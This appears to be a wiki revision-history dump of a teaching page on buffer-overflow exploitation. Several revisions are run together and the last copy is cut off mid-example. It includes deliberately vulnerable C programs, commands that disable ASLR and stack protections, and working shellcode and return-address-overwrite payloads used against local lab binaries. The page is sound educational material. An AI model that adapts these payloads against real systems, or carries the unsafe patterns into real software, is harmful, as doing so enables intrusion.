This example is quite simple and should only demonstrate that a buffer overflow is possible in general. The buffer itself has a fixed length of 8 bytes. The user input is written to the buffer with the gets() function, which doesn’t check boundaries. Any input that is longer than 8 characters will therefore overwrite what comes after it. In this case the volatile integer will get overwritten. The program acts as a game and reveals a flag if the integer is successfully changed.

The program was compiled with this command:

<pre>
gcc -Wno-implicit-function-declaration -o overflow1 overflow1.c
</pre>

Input smaller than 8 ➜ program exits

[[File:Example1-small.png | 900px]]

Input bigger than 8 ➜ flag

[[File:Example1-enough.png | 900px]]

This is the code in C:

<pre>
#include <stdio.h>

int main() {
volatile int secret_treasure = 0;
char buffer[8];

printf("Welcome to the Treasure Hunt!\n");
printf("The buffer is set to 8. If you exceed this limit, you may reveal the treasure!\n");
printf("Initially, the treasure status is hidden...\n\n");

printf("Enter your code: ");
gets(buffer);

if (secret_treasure != 0) {
printf("\n**** Treasure Found! ****\n");
printf("Your treasure is: FLAG{BUFFER OVERFLOW}\n");
} else {
printf("\nSorry, your code was too small. No treasure found.\n");
}

return 0;
}
</pre>

=== Example 2 ===

This example uses a special method of buffer overflows called “stack smashing”. The goal is to execute shellcode by redirecting the execution flow. The return addres will be altered to the start of the buffer.

Since we work with exact addresses, we first disable ASLR for this session. Now the addresses won’t change anymore.

<pre>
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
</pre>

The program expects an argument as input. This argument will be copied to the buffer with the strcpy() function. Again, no bounds checking. If the input no not long enough to reach the return address, the program will exit normally. To simplify the search of finding the exact address of the buffer, the program will print the address for us.

This is the code in C:

<pre>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void vuln(char *input) {
char buffer[256];

printf("Buffer address: %p\n", (void *)buffer);

strcpy(buffer, input);
}

int main(int argc, char *argv[]) {
if (argc != 2) {
printf("Usage: %s <input>\n", argv[0]);
return 1;
}

vuln(argv[1]);

printf("Function executed without crashing.\n");
return 0;
}
</pre>

To compile the C code into a program the following command is used.

<pre>
gcc -m32 -no-pie -fno-stack-protector -z execstack -Wno-implicit-function-declaration vulnerable.c -o vulnerable
</pre>

# -m32 ➜ 32-bit file
# -no-pie ➜ start at a fixed address
# -fno-stack-protector ➜ disable canaries
# -z execstack ➜ make the stack executable
# -Wno-implicit-function-declaration ➜ supress warnings

The exploit itself is a python code which is passed as an argument to the program. The offset (padding) are the missing bytes to reach the return address. It can be calculated with the help of a pattern and the GNU Debugger (GDB). With this exact payload a padding of 134 is needed.

The return address will be the address of the buffer. Since the program prints the buffers address, we already know it. If the buffer address is not known in advance, a NOP sled can help to enhance the chance of hitting a possible address. As long as it returns to somewhere in the 100 NOPs, the shellcode will get executed.

While the shellcode would normally create a reverse shell, it only prints „YOU GOT HACKED!!“ to the terminal in our case. It is written in Hexadecimal and represents Assembly. Since little-endian is used, it has to be pushed to the stack in reverse order.

This is the code of the exploit in Python:

<pre>
import sys

nop_sled = b"\x90" * 100

shellcode = (
b"\x31\xc0\xb0\x04\x31\xdb\xb3\x01"
b"\x68\x45\x44\x21\x21" # !!DE
b"\x68\x48\x41\x43\x4b" # HACK
b"\x68\x47\x4f\x54\x20" # GOT
b"\x68\x59\x4f\x55\x20" # YOU
b"\x89\xe1\xb2\x0f\xcd\x80" # write
)

padding = b"A" * 134

return_address = b"\xb0\xcd\xff\xff"

payload = nop_sled + shellcode + padding + return_address

sys.stdout.buffer.write(payload)
</pre>

The exploit can be both, a python script and a perl command.

Python:

<pre>
./vulnerable "$(python3 exploit.py)"
</pre>

Perl:

<pre>
./vulnerable "$(perl -e 'print "\x90"x100 . "\x31\xc0\xb0\x04\x31\xdb\xb3\x01\x68\x45\x44\x21\x21\x68\x48\x41\x43\x4b\x68\x47\x4f\x54\x20\x68\x59\x4f\x55\x20\x89\xe1\xb2\x10\xcd\x80" . "A"x134 . "\xa0\xcd\xff\xff"')"
</pre>

Here is the String of our shellcode.
Since the shellcode is never terminated, the whole stack is printed.

[[File:Example2-hacked.png | 900px]]

=== Example 3: Control Flow Alteration by Stack Buffer Overflow Exploitation ===
The following program is vulnerable to stack-based buffer overflows due to the usage of
the insecure gets()-function. gets() is used to write user input into a character array. In
the source code, a function called winner() is defined, which is never called in main().
The objective of the following demonstration is to manipulate the execution flow in a
way that will force the program to execute the winner() function. To achieve that, the
saved return pointer from the stack frame of function will have to be overwritten with
the address of the winner function. Firstly, examine the source:
<pre>
#include <stdio.h>
#include <stdlib.h>

void function(int a, int b, int c) {
char buffer[5];
gets(buffer);
}

void winner(){
printf("Congratulations! You manipulated the execution flow.");
exit(0);
}

int main() {
function(1, 2, 3);
}
</pre>
Compile the source code into a 32-bit binary executable. Note that the compiler would prevent the usage of gets() unless explicitly instructed to ignore the warning using -Wno-implicit-function-declaration.
<pre>
gcc -m32 -Wno-implicit-function-declaration -o stack-overflow stack-overflow.c
</pre>
Open the binary with gdb, insert a breakpoint at the start of the main function and run the program until that first breakpoint.
<pre>
gdb stack-overflow
break main
run
</pre>
Since this binary was not compiled with the -g flag, one cannot list the C source code. Instead, it is possible to disassemble the executable byte code. One can then read the program in assembly language and insert breakpoints at respective instructions.
<pre>
disassemble main
</pre>
Examine the disassembled main function and find the call to function. Note how the stack is prepared (arguments pushed) before function is called.
<pre>
Dump of assembler code for function main:
0x56556203 <+0>: lea ecx,[esp+0x4]
0x56556207 <+4>: and esp,0xfffffff0
0x5655620a <+7>: push DWORD PTR [ecx-0x4]
0x5655620d <+10>: push ebp
0x5655620e <+11>: mov ebp,esp
0x56556210 <+13>: push ecx
=> 0x56556211 <+14>: sub esp,0x4
0x56556214 <+17>: call 0x5655623c <__x86.get_pc_thunk.ax>
0x56556219 <+22>: add eax,0x2ddb
0x5655621e <+27>: sub esp,0x4
0x56556221 <+30>: push 0x3
0x56556223 <+32>: push 0x2
0x56556225 <+34>: push 0x1
0x56556227 <+36>: call 0x565561ad <function>
0x5655622c <+41>: add esp,0x10
0x5655622f <+44>: mov eax,0x0
0x56556234 <+49>: mov ecx,DWORD PTR [ebp-0x4]
0x56556237 <+52>: leave
0x56556238 <+53>: lea esp,[ecx-0x4]
0x5655623b <+56>: ret
</pre>
Disassemble the function "function".
<pre>
disassemble function
</pre>
Find the call to gets.
<pre>
Dump of assembler code for function function:
0x565561ad <+0>: push ebp
0x565561ae <+1>: mov ebp,esp
0x565561b0 <+3>: push ebx
0x565561b1 <+4>: sub esp,0x14
0x565561b4 <+7>: call 0x5655623c <__x86.get_pc_thunk.ax>
0x565561b9 <+12>: add eax,0x2e3b
0x565561be <+17>: sub esp,0xc
0x565561c1 <+20>: lea edx,[ebp-0xd]
0x565561c4 <+23>: push edx
0x565561c5 <+24>: mov ebx,eax
0x565561c7 <+26>: call 0x56556050 <gets@plt>
0x565561cc <+31>: add esp,0x10
0x565561cf <+34>: nop
0x565561d0 <+35>: mov ebx,DWORD PTR [ebp-0x4]
0x565561d3 <+38>: leave
0x565561d4 <+39>: ret
</pre>
Insert a breakpoint at the instruction right after the call to gets. Later, the stack will be examined after the user input has happened. Then continue execution and enter some 'A' characters as user input.
<pre>
break *0x565561cc
continue
</pre>
Examine the current state of the CPU's registers.
<pre>
info registers
</pre>

<pre>
...
esp 0xffffcc50 0xffffcc50
ebp 0xffffcc78 0xffffcc78
...
eip 0x565561cc 0x565561cc <function+31>
...
</pre>
Inspect the current stack frame.
<pre>
info frame
</pre>
Note the saved EIP, which is also called ret or return pointer. This is the instruction address, that will be used to restore EIP with, once the function has finished executing and returns to it's caller.
<pre>
...
eip = 0x565561cc in function; saved eip = 0x5655622c
...
</pre>
One can examine which instruction is saved at that address.
<pre>
x/i 0x5655622c
</pre>
Confirm that it is actually the one right after the function call in <main> by looking at the disassembled main function again.
<pre>
disassemble main
</pre>
Now examine the stack to find the 'A' characters from the user input. Start from the address that EBP points to on the stack. It does not change during execution of the function and provides a good reference point.
<pre>
x/8xw $ebp
</pre>
Note that one can observe the saved frame pointer, sfp, which will be used to restore EBP once the function returns. This is the first word starting from the address that EBP points to. The second word is the return pointer. Afterwards, one can see the functions input arguments, as they have been pushed on the stack as part of the function prologue.
<pre>
0xffffcc78: 0xffffcc98 0x5655622c 0x00000001 0x00000002
0xffffcc88: 0x00000003 ... ... ...
</pre>
Now examine the stack further, subtracting from the address of ebp in order to find the buffer.
<pre>
x/8xw $ebp - 16
</pre>
<pre>
0xffffcc68: 0x41000000 0x00414141 0x00000000 0xf7f9ae14
0xffffcc78: 0xffffcc98 0x5655622c 0x00000001 0x00000002
</pre>
Alternatively, look at the output per byte.
<pre>
x/24xb $ebp - 16
</pre>
<pre>
0xffffcc68: 0x00 0x00 0x00 0x41 0x41 0x41 0x41 0x00
0xffffcc70: 0x00 0x00 0x00 0x00 0x14 0xae 0xf9 0xf7
0xffffcc78: 0x98 0xcc 0xff 0xff 0x2c 0x62 0x55 0x56
</pre>

Find the start of the buffer, the first occurrence of the character 'A' in ASCII-representation 0x41. Calculate the distance to the return pointer: 17 bytes. Note that one would need to fill the buffer space with 17 bytes before one could start overwriting the return pointer.

Now one only needs to find the address of the winner function, which can be used to overwrite the return pointer with. Using the info functions command with the additional search string "winner" will return the address of the function winner.
<pre>
info functions winner
</pre>
<pre>
All functions matching regular expression "winner":
...
0x565561d5 winner
</pre>
Note down the address and begin writing the exploit outside of gdb. Use the exit command to exit from gdb.

Use echo with the flags -n and -e to write raw bytes to a file. The bytestring will contain 17 'A' characters and the bytes that make up the address of winner. These will be written to memory in reverse order, since on a little endian system each word will be interpreted in a way that assigns the lowest address byte to the least significant byte of the word.
<pre>
echo -ne '\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\xd5\x61\x55\x56' > exploit.bin
</pre>
Assert that the bytes were written correctly to the file and, if necessary, make changes to it.
<pre>
hexdump -C exploit.bin
hexeditor exploit.bin
</pre>
<pre>
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
00000010 41 d5 61 55 56 |A.aUV|
00000015
</pre>
Run the program supplying the exploit file to it as user input.
<pre>
./stack-overflow < exploit.bin
</pre>
<pre>
Congratulations! You manipulated the flow of execution.
</pre>

== References ==

* https://phrack.org/issues/49/14.html
* https://git.fh-campuswien.ac.at/CampusCyberSecurityTeam/ccst/-/tree/master/buffer_overflow

[[Category:Pentesting]]

Binary Exploitation (Buffer Overflow)

2024-12-11T18:13:17Z

AKofranek: /* Description */

== Summary ==

This Pentesting documentation features [ANZAHL] examples, on how to exploit a binary with a buffer overflow.

The examples range from very simple ones to more advanced and complex versions.

== Requirements ==

* Operating system: Linux
* Packages: GNU Compiler Collection (GCC), GNU Debugger (GDB)

In order to complete these steps, you must have followed [[Buffer Overflows]] before.

The theoretical part is required to understand basic concepts needed for the examples.

== Description ==

All examples were created in Linux and written in C. To compile the C Code into an executable program the GNU Compiler Collection (GCC) was used. To debug binaries the GNU Debugger (GDB) was used.

=== Example 1 ===

This example is quite simple and should only demonstrate that a buffer overflow is possible in general. The buffer itself has a fixed length of 8 bytes. The user input is written to the buffer with the gets() function, which doesn’t check boundaries. Any input that is longer than 8 characters will therefore overwrite what comes after it. In this case the volatile integer will get overwritten. The program acts as a game and reveals a flag if the integer is successfully changed.

The program was compiled with this command:

<pre>
gcc -Wno-implicit-function-declaration -o overflow1 overflow1.c
</pre>

Input smaller than 8 ➜ program exits

[[File:Example1-small.png | 900px]]

Input bigger than 8 ➜ flag

[[File:Example1-enough.png | 900px]]

This is the code in C:

<pre>
#include <stdio.h>

int main() {
volatile int secret_treasure = 0;
char buffer[8];

printf("Welcome to the Treasure Hunt!\n");
printf("The buffer is set to 8. If you exceed this limit, you may reveal the treasure!\n");
printf("Initially, the treasure status is hidden...\n\n");

printf("Enter your code: ");
gets(buffer);

if (secret_treasure != 0) {
printf("\n**** Treasure Found! ****\n");
printf("Your treasure is: FLAG{BUFFER OVERFLOW}\n");
} else {
printf("\nSorry, your code was too small. No treasure found.\n");
}

return 0;
}
</pre>

=== Example 2 ===

This example uses a special method of buffer overflows called “stack smashing”. The goal is to execute shellcode by redirecting the execution flow. The return addres will be altered to the start of the buffer.

Since we work with exact addresses, we first disable ASLR for this session. Now the addresses won’t change anymore.

<pre>
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
</pre>

The program expects an argument as input. This argument will be copied to the buffer with the strcpy() function. Again, no bounds checking. If the input no not long enough to reach the return address, the program will exit normally. To simplify the search of finding the exact address of the buffer, the program will print the address for us.

This is the code in C:

<pre>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void vuln(char *input) {
char buffer[256];

printf("Buffer address: %p\n", (void *)buffer);

strcpy(buffer, input);
}

int main(int argc, char *argv[]) {
if (argc != 2) {
printf("Usage: %s <input>\n", argv[0]);
return 1;
}

vuln(argv[1]);

printf("Function executed without crashing.\n");
return 0;
}
</pre>

To compile the C code into a program the following command is used.

<pre>
gcc -m32 -no-pie -fno-stack-protector -z execstack -Wno-implicit-function-declaration vulnerable.c -o vulnerable
</pre>

# -m32 ➜ 32-bit file
# -no-pie ➜ start at a fixed address
# -fno-stack-protector ➜ disable canaries
# -z execstack ➜ make the stack executable
# -Wno-implicit-function-declaration ➜ supress warnings

The exploit itself is a python code which is passed as an argument to the program. The offset (padding) are the missing bytes to reach the return address. It can be calculated with the help of a pattern and the GNU Debugger (GDB). With this exact payload a padding of 134 is needed.

The return address will be the address of the buffer. Since the program prints the buffers address, we already know it. If the buffer address is not known in advance, a NOP sled can help to enhance the chance of hitting a possible address. As long as it returns to somewhere in the 100 NOPs, the shellcode will get executed.

While the shellcode would normally create a reverse shell, it only prints „YOU GOT HACKED!!“ to the terminal in our case. It is written in Hexadecimal and represents Assembly. Since little-endian is used, it has to be pushed to the stack in reverse order.

This is the code of the exploit in Python:

<pre>
import sys

nop_sled = b"\x90" * 100

shellcode = (
b"\x31\xc0\xb0\x04\x31\xdb\xb3\x01"
b"\x68\x45\x44\x21\x21" # !!DE
b"\x68\x48\x41\x43\x4b" # HACK
b"\x68\x47\x4f\x54\x20" # GOT
b"\x68\x59\x4f\x55\x20" # YOU
b"\x89\xe1\xb2\x0f\xcd\x80" # write
)

padding = b"A" * 134

return_address = b"\xb0\xcd\xff\xff"

payload = nop_sled + shellcode + padding + return_address

sys.stdout.buffer.write(payload)
</pre>

The exploit can be both, a python script and a perl command.

Python:

<pre>
./vulnerable "$(python3 exploit.py)"
</pre>

Perl:

<pre>
./vulnerable "$(perl -e 'print "\x90"x100 . "\x31\xc0\xb0\x04\x31\xdb\xb3\x01\x68\x45\x44\x21\x21\x68\x48\x41\x43\x4b\x68\x47\x4f\x54\x20\x68\x59\x4f\x55\x20\x89\xe1\xb2\x10\xcd\x80" . "A"x134 . "\xa0\xcd\xff\xff"')"
</pre>

Here is the String of our shellcode.
Since the shellcode is never terminated, the whole stack is printed.

[[File:Example2-hacked.png | 900px]]

=== Example 3: Control Flow Alteration by Stack Buffer Overflow Exploitation ===
The following program is vulnerable to stack-based buffer overflows due to the usage of
the insecure gets()-function. gets() is used to write user input into a character array. In
the source code, a function called winner() is defined, which is never called in main().
The objective of the following demonstration is to manipulate the execution flow in a
way that will force the program to execute the winner() function. To achieve that, the
saved return pointer from the stack frame of function will have to be overwritten with
the address of the winner function. Firstly, examine the source:
<pre>
#include <stdio.h>
#include <stdlib.h>

void function(int a, int b, int c) {
char buffer[5];
gets(buffer);
}

void winner(){
printf("Congratulations! You manipulated the execution flow.");
exit(0);
}

int main() {
function(1, 2, 3);
}
</pre>
Compile the source code into a 32-bit binary executable. Note that the compiler would prevent the usage of gets() unless explicitly instructed to ignore the warning using -Wno-implicit-function-declaration.
<pre>
gcc -m32 -Wno-implicit-function-declaration -o stack-overflow stack-overflow.c
</pre>
Open the binary with gdb, insert a breakpoint at the start of the main function and run the program until that first breakpoint.
<pre>
gdb stack-overflow
break main
run
</pre>
Since this binary was not compiled with the -g flag, one cannot list the C source code. Instead, it is possible to disassemble the executable byte code. One can then read the program in assembly language and insert breakpoints at respective instructions.
<pre>
disassemble main
</pre>
Examine the disassembled main function and find the call to function. Note how the stack is prepared (arguments pushed) before function is called.
<pre>
Dump of assembler code for function main:
0x56556203 <+0>: lea ecx,[esp+0x4]
0x56556207 <+4>: and esp,0xfffffff0
0x5655620a <+7>: push DWORD PTR [ecx-0x4]
0x5655620d <+10>: push ebp
0x5655620e <+11>: mov ebp,esp
0x56556210 <+13>: push ecx
=> 0x56556211 <+14>: sub esp,0x4
0x56556214 <+17>: call 0x5655623c <__x86.get_pc_thunk.ax>
0x56556219 <+22>: add eax,0x2ddb
0x5655621e <+27>: sub esp,0x4
0x56556221 <+30>: push 0x3
0x56556223 <+32>: push 0x2
0x56556225 <+34>: push 0x1
0x56556227 <+36>: call 0x565561ad <function>
0x5655622c <+41>: add esp,0x10
0x5655622f <+44>: mov eax,0x0
0x56556234 <+49>: mov ecx,DWORD PTR [ebp-0x4]
0x56556237 <+52>: leave
0x56556238 <+53>: lea esp,[ecx-0x4]
0x5655623b <+56>: ret
</pre>
Disassemble the function "function".
<pre>
disassemble function
</pre>
Find the call to gets.
<pre>
Dump of assembler code for function function:
0x565561ad <+0>: push ebp
0x565561ae <+1>: mov ebp,esp
0x565561b0 <+3>: push ebx
0x565561b1 <+4>: sub esp,0x14
0x565561b4 <+7>: call 0x5655623c <__x86.get_pc_thunk.ax>
0x565561b9 <+12>: add eax,0x2e3b
0x565561be <+17>: sub esp,0xc
0x565561c1 <+20>: lea edx,[ebp-0xd]
0x565561c4 <+23>: push edx
0x565561c5 <+24>: mov ebx,eax
0x565561c7 <+26>: call 0x56556050 <gets@plt>
0x565561cc <+31>: add esp,0x10
0x565561cf <+34>: nop
0x565561d0 <+35>: mov ebx,DWORD PTR [ebp-0x4]
0x565561d3 <+38>: leave
0x565561d4 <+39>: ret
</pre>
Insert a breakpoint at the instruction right after the call to gets. Later, the stack will be examined after the user input has happened. Then continue execution and enter some 'A' characters as user input.
<pre>
break *0x565561cc
continue
</pre>
Examine the current state of the CPU's registers.
<pre>
info registers
</pre>

<pre>
...
esp 0xffffcc50 0xffffcc50
ebp 0xffffcc78 0xffffcc78
...
eip 0x565561cc 0x565561cc <function+31>
...
</pre>
Inspect the current stack frame.
<pre>
info frame
</pre>
Note the saved EIP, which is also called ret or return pointer. This is the instruction address, that will be used to restore EIP with, once the function has finished executing and returns to it's caller.
<pre>
...
eip = 0x565561cc in function; saved eip = 0x5655622c
...
</pre>
One can examine which instruction is saved at that address.
<pre>
x/i 0x5655622c
</pre>
Confirm that it is actually the one right after the function call in <main> by looking at the disassembled main function again.
<pre>
disassemble main
</pre>
Now examine the stack to find the 'A' characters from the user input. Start from the address that EBP points to on the stack. It does not change during execution of the function and provides a good reference point.
<pre>
x/8xw $ebp
</pre>
Note that one can observe the saved frame pointer, sfp, which will be used to restore EBP once the function returns. This is the first word starting from the address that EBP points to. The second word is the return pointer. Afterwards, one can see the functions input arguments, as they have been pushed on the stack as part of the function prologue.
<pre>
0xffffcc78: 0xffffcc98 0x5655622c 0x00000001 0x00000002
0xffffcc88: 0x00000003 ... ... ...
</pre>
Now examine the stack further, subtracting from the address of ebp in order to find the buffer.
<pre>
x/8xw $ebp - 16
</pre>
<pre>
0xffffcc68: 0x41000000 0x00414141 0x00000000 0xf7f9ae14
0xffffcc78: 0xffffcc98 0x5655622c 0x00000001 0x00000002
</pre>
Alternatively, look at the output per byte.
<pre>
x/24xb $ebp - 16
</pre>
<pre>
0xffffcc68: 0x00 0x00 0x00 0x41 0x41 0x41 0x41 0x00
0xffffcc70: 0x00 0x00 0x00 0x00 0x14 0xae 0xf9 0xf7
0xffffcc78: 0x98 0xcc 0xff 0xff 0x2c 0x62 0x55 0x56
</pre>

Find the start of the buffer, the first occurrence of the character 'A' in ASCII-representation 0x41. Calculate the distance to the return pointer: 17 bytes. Note that one would need to fill the buffer space with 17 bytes before one could start overwriting the return pointer.

Now one only needs to find the address of the winner function, which can be used to overwrite the return pointer with. Using the info functions command with the additional search string "winner" will return the address of the function winner.
<pre>
info functions winner
</pre>
<pre>
All functions matching regular expression "winner":
...
0x565561d5 winner
</pre>
Note down the address and begin writing the exploit outside of gdb. Use the exit command to exit from gdb.

Use echo with the flags -n and -e to write raw bytes to a file. The bytestring will contain 17 'A' characters and the bytes that make up the address of winner. These will be written to memory in reverse order, since on a little endian system each word will be interpreted in a way that assigns the lowest address byte to the least significant byte of the word.
<pre>
echo -ne '\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\xd5\x61\x55\x56' > exploit.bin
</pre>
Assert that the bytes were written correctly to the file and, if necessary, make changes to it.
<pre>
hexdump -C exploit.bin
hexeditor exploit.bin
</pre>
<pre>
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
00000010 41 d5 61 55 56 |A.aUV|
00000015
</pre>
Run the program supplying the exploit file to it as user input.
<pre>
./stack-overflow < exploit.bin
</pre>
<pre>
Congratulations! You manipulated the flow of execution.
</pre>

== References ==

* https://phrack.org/issues/49/14.html
* https://git.fh-campuswien.ac.at/CampusCyberSecurityTeam/ccst/-/tree/master/buffer_overflow

[[Category:Pentesting]]

Binary Exploitation (Buffer Overflow)

2024-12-11T18:12:28Z

AKofranek: /* Description */

== Summary ==

This Pentesting documentation features [ANZAHL] examples, on how to exploit a binary with a buffer overflow.

The examples range from very simple ones to more advanced and complex versions.

== Requirements ==

* Operating system: Linux
* Packages: GNU Compiler Collection (GCC), GNU Debugger (GDB)

In order to complete these steps, you must have followed [[Buffer Overflows]] before.

The theoretical part is required to understand basic concepts needed for the examples.

== Description ==

All examples were created in Linux and written in C. To compile the C Code into an executable program the GNU Compiler Collection (GCC) was used. To debug binaries the GNU Debugger (GDB) was used.

Install gcc-multilib and gdb using apt.

<pre>
sudo apt update
sudo apt install gcc-multilib
sudo apt install gdb
</pre>

=== Example 1 ===

This example is quite simple and should only demonstrate that a buffer overflow is possible in general. The buffer itself has a fixed length of 8 bytes. The user input is written to the buffer with the gets() function, which doesn’t check boundaries. Any input that is longer than 8 characters will therefore overwrite what comes after it. In this case the volatile integer will get overwritten. The program acts as a game and reveals a flag if the integer is successfully changed.

The program was compiled with this command:

<pre>
gcc -Wno-implicit-function-declaration -o overflow1 overflow1.c
</pre>

Input smaller than 8 ➜ program exits

[[File:Example1-small.png | 900px]]

Input bigger than 8 ➜ flag

[[File:Example1-enough.png | 900px]]

This is the code in C:

<pre>
#include <stdio.h>

int main() {
volatile int secret_treasure = 0;
char buffer[8];

printf("Welcome to the Treasure Hunt!\n");
printf("The buffer is set to 8. If you exceed this limit, you may reveal the treasure!\n");
printf("Initially, the treasure status is hidden...\n\n");

printf("Enter your code: ");
gets(buffer);

if (secret_treasure != 0) {
printf("\n**** Treasure Found! ****\n");
printf("Your treasure is: FLAG{BUFFER OVERFLOW}\n");
} else {
printf("\nSorry, your code was too small. No treasure found.\n");
}

return 0;
}
</pre>

=== Example 2 ===

This example uses a special method of buffer overflows called “stack smashing”. The goal is to execute shellcode by redirecting the execution flow. The return addres will be altered to the start of the buffer.

Since we work with exact addresses, we first disable ASLR for this session. Now the addresses won’t change anymore.

<pre>
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
</pre>

The program expects an argument as input. This argument will be copied to the buffer with the strcpy() function. Again, no bounds checking. If the input no not long enough to reach the return address, the program will exit normally. To simplify the search of finding the exact address of the buffer, the program will print the address for us.

This is the code in C:

<pre>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void vuln(char *input) {
char buffer[256];

printf("Buffer address: %p\n", (void *)buffer);

strcpy(buffer, input);
}

int main(int argc, char *argv[]) {
if (argc != 2) {
printf("Usage: %s <input>\n", argv[0]);
return 1;
}

vuln(argv[1]);

printf("Function executed without crashing.\n");
return 0;
}
</pre>

To compile the C code into a program the following command is used.

<pre>
gcc -m32 -no-pie -fno-stack-protector -z execstack -Wno-implicit-function-declaration vulnerable.c -o vulnerable
</pre>

# -m32 ➜ 32-bit file
# -no-pie ➜ start at a fixed address
# -fno-stack-protector ➜ disable canaries
# -z execstack ➜ make the stack executable
# -Wno-implicit-function-declaration ➜ supress warnings

The exploit itself is a python code which is passed as an argument to the program. The offset (padding) are the missing bytes to reach the return address. It can be calculated with the help of a pattern and the GNU Debugger (GDB). With this exact payload a padding of 134 is needed.

The return address will be the address of the buffer. Since the program prints the buffers address, we already know it. If the buffer address is not known in advance, a NOP sled can help to enhance the chance of hitting a possible address. As long as it returns to somewhere in the 100 NOPs, the shellcode will get executed.

While the shellcode would normally create a reverse shell, it only prints „YOU GOT HACKED!!“ to the terminal in our case. It is written in Hexadecimal and represents Assembly. Since little-endian is used, it has to be pushed to the stack in reverse order.

This is the code of the exploit in Python:

<pre>
import sys

nop_sled = b"\x90" * 100

shellcode = (
b"\x31\xc0\xb0\x04\x31\xdb\xb3\x01"
b"\x68\x45\x44\x21\x21" # !!DE
b"\x68\x48\x41\x43\x4b" # HACK
b"\x68\x47\x4f\x54\x20" # GOT
b"\x68\x59\x4f\x55\x20" # YOU
b"\x89\xe1\xb2\x0f\xcd\x80" # write
)

padding = b"A" * 134

return_address = b"\xb0\xcd\xff\xff"

payload = nop_sled + shellcode + padding + return_address

sys.stdout.buffer.write(payload)
</pre>

The exploit can be both, a python script and a perl command.

Python:

<pre>
./vulnerable "$(python3 exploit.py)"
</pre>

Perl:

<pre>
./vulnerable "$(perl -e 'print "\x90"x100 . "\x31\xc0\xb0\x04\x31\xdb\xb3\x01\x68\x45\x44\x21\x21\x68\x48\x41\x43\x4b\x68\x47\x4f\x54\x20\x68\x59\x4f\x55\x20\x89\xe1\xb2\x10\xcd\x80" . "A"x134 . "\xa0\xcd\xff\xff"')"
</pre>

Here is the String of our shellcode.
Since the shellcode is never terminated, the whole stack is printed.

[[File:Example2-hacked.png | 900px]]

=== Example 3: Control Flow Alteration by Stack Buffer Overflow Exploitation ===
The following program is vulnerable to stack-based buffer overflows due to the usage of
the insecure gets()-function. gets() is used to write user input into a character array. In
the source code, a function called winner() is defined, which is never called in main().
The objective of the following demonstration is to manipulate the execution flow in a
way that will force the program to execute the winner() function. To achieve that, the
saved return pointer from the stack frame of function will have to be overwritten with
the address of the winner function. Firstly, examine the source:
<pre>
#include <stdio.h>
#include <stdlib.h>

void function(int a, int b, int c) {
char buffer[5];
gets(buffer);
}

void winner(){
printf("Congratulations! You manipulated the execution flow.");
exit(0);
}

int main() {
function(1, 2, 3);
}
</pre>
Compile the source code into a 32-bit binary executable. Note that the compiler would prevent the usage of gets() unless explicitly instructed to ignore the warning using -Wno-implicit-function-declaration.
<pre>
gcc -m32 -Wno-implicit-function-declaration -o stack-overflow stack-overflow.c
</pre>
Open the binary with gdb, insert a breakpoint at the start of the main function and run the program until that first breakpoint.
<pre>
gdb stack-overflow
break main
run
</pre>
Since this binary was not compiled with the -g flag, one cannot list the C source code. Instead, it is possible to disassemble the executable byte code. One can then read the program in assembly language and insert breakpoints at respective instructions.
<pre>
disassemble main
</pre>
Examine the disassembled main function and find the call to function. Note how the stack is prepared (arguments pushed) before function is called.
<pre>
Dump of assembler code for function main:
0x56556203 <+0>: lea ecx,[esp+0x4]
0x56556207 <+4>: and esp,0xfffffff0
0x5655620a <+7>: push DWORD PTR [ecx-0x4]
0x5655620d <+10>: push ebp
0x5655620e <+11>: mov ebp,esp
0x56556210 <+13>: push ecx
=> 0x56556211 <+14>: sub esp,0x4
0x56556214 <+17>: call 0x5655623c <__x86.get_pc_thunk.ax>
0x56556219 <+22>: add eax,0x2ddb
0x5655621e <+27>: sub esp,0x4
0x56556221 <+30>: push 0x3
0x56556223 <+32>: push 0x2
0x56556225 <+34>: push 0x1
0x56556227 <+36>: call 0x565561ad <function>
0x5655622c <+41>: add esp,0x10
0x5655622f <+44>: mov eax,0x0
0x56556234 <+49>: mov ecx,DWORD PTR [ebp-0x4]
0x56556237 <+52>: leave
0x56556238 <+53>: lea esp,[ecx-0x4]
0x5655623b <+56>: ret
</pre>
Disassemble the function "function".
<pre>
disassemble function
</pre>
Find the call to gets.
<pre>
Dump of assembler code for function function:
0x565561ad <+0>: push ebp
0x565561ae <+1>: mov ebp,esp
0x565561b0 <+3>: push ebx
0x565561b1 <+4>: sub esp,0x14
0x565561b4 <+7>: call 0x5655623c <__x86.get_pc_thunk.ax>
0x565561b9 <+12>: add eax,0x2e3b
0x565561be <+17>: sub esp,0xc
0x565561c1 <+20>: lea edx,[ebp-0xd]
0x565561c4 <+23>: push edx
0x565561c5 <+24>: mov ebx,eax
0x565561c7 <+26>: call 0x56556050 <gets@plt>
0x565561cc <+31>: add esp,0x10
0x565561cf <+34>: nop
0x565561d0 <+35>: mov ebx,DWORD PTR [ebp-0x4]
0x565561d3 <+38>: leave
0x565561d4 <+39>: ret
</pre>
Insert a breakpoint at the instruction right after the call to gets. Later, the stack will be examined after the user input has happened. Then continue execution and enter some 'A' characters as user input.
<pre>
break *0x565561cc
continue
</pre>
Examine the current state of the CPU's registers.
<pre>
info registers
</pre>

<pre>
...
esp 0xffffcc50 0xffffcc50
ebp 0xffffcc78 0xffffcc78
...
eip 0x565561cc 0x565561cc <function+31>
...
</pre>
Inspect the current stack frame.
<pre>
info frame
</pre>
Note the saved EIP, which is also called ret or return pointer. This is the instruction address, that will be used to restore EIP with, once the function has finished executing and returns to it's caller.
<pre>
...
eip = 0x565561cc in function; saved eip = 0x5655622c
...
</pre>
One can examine which instruction is saved at that address.
<pre>
x/i 0x5655622c
</pre>
Confirm that it is actually the one right after the function call in <main> by looking at the disassembled main function again.
<pre>
disassemble main
</pre>
Now examine the stack to find the 'A' characters from the user input. Start from the address that EBP points to on the stack. It does not change during execution of the function and provides a good reference point.
<pre>
